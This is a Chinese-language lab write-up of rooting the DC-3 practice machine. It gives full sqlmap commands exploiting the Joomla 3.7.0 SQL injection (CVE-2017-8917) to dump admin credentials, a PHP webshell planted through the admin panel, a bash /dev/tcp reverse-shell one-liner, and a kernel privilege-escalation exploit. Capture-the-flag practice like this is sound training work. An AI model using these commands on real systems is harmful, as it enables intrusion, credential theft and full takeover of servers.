DC-3
January 3, 2024 4:11 PM
Tags:Joomla
owner:只惠摸鱼
信息收集
-
探测靶机ip: 192.168.199.133
-
nmap 扫描端口、 系统版本 漏洞
- 发现只有80端口开发, 且有cve-2017-8917漏洞存在
- 是Joomla的SQL注入漏洞 Joomla版本为3.7.0
-
打开页面看一下发现有登录页面,可以尝试弱口令,sql注入 或 爆破(页面有提示。只有一个flag,且为root权限才能看到)
- 尝试弱口令无果
漏洞利用
- 使用kali中searchsploit 搜索cve-2017-8917 即搜索joomla 3.7.0的漏洞
- 查看内容
-
searchsploit -x php/webapps/42033.txt
-
发现可以直接使用sqlmap 爆数据库
-
SQLmap爆数据
- 爆数据库(默认配置选项)
-
sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
-
得到数据库joomladb
-
- 爆数据库表
-
sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables --batch -p list[fullordering]
- —batch是为了使其默认使用默认配置选项
-
得到表#__users
-
- 爆表字段名(不能使用默认,需要手动y一下)
-
sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]
-
只需查字段username 和 password中的值就可以了
-
- 爆数据
-
sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “username,password” --dump -p list[fullordering]
-
拿到admin账号 和一个 hash加密的密码
-
john解密
-
密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu,放入txt文档
-
使用john进行解密
-
得到管理员账户密码
-
-
发现还没有扫过目录,扫一下,看看是不是有管理员登录端(80端口只有用户端)
-
dirb http://192.168.199.133
-
发现有管理员页面
-
使用刚才得到的管理员账号密码登录,进入后端管理页面
-
寻找是否有能上传文件的地方,尝试了一些,都不太行,最后找到了一个可以直接写php代码的页面。
-
新增一个php文件类型,写入一句话木马
-
发现上方有提示的路径,尝试直接访问一下
-
发现不通, 百度了joomla的文件路径
-
发现一个熟悉的单词, 尝试用这个试一下(没报错,有戏)
-
继续尝试目录或文件,发现没报错。
-
尝试一下phpinfo(),成功!
-
-
-
使用蚁剑直接连接
-
成功连接
-
打开命令端口,发现不是root 也不是管理员权限
-
提权
-
查看系统内核版本
-
直接使用searchsploit Ubuntu 16.04查询相关漏洞,对比内核版本和漏洞类型,使用39772
-
查看漏洞内容,最上面的连接可以直接拉到浏览器查看详细信息(个人认为比较方便)
-
searchsploit -x linux/local/39772.txt
-
-
根据漏洞信息,和下方提供的漏洞下载链接下载到kali,通过蚁剑上传到后台解压exploit(这里是我运行过一次)
-
将shell反弹给本地
-
本地监听1234端口
-
被控端运行bash -c 'bash -i >& /dev/tcp/192.168.199.129/1234 0>&1’
-
本地得到shell
-
-
进入到ebpf_mapfd_doubleput_exploit运行./compile.sh会生成doubleput
-
然后再运行./doubleput等待数秒,得到root权限
-
生成交互性shell
-
python3 -c 'import pty; pty.spawn(“/bin/bash”)’
-
-
进入/root 查询文件,找到flag。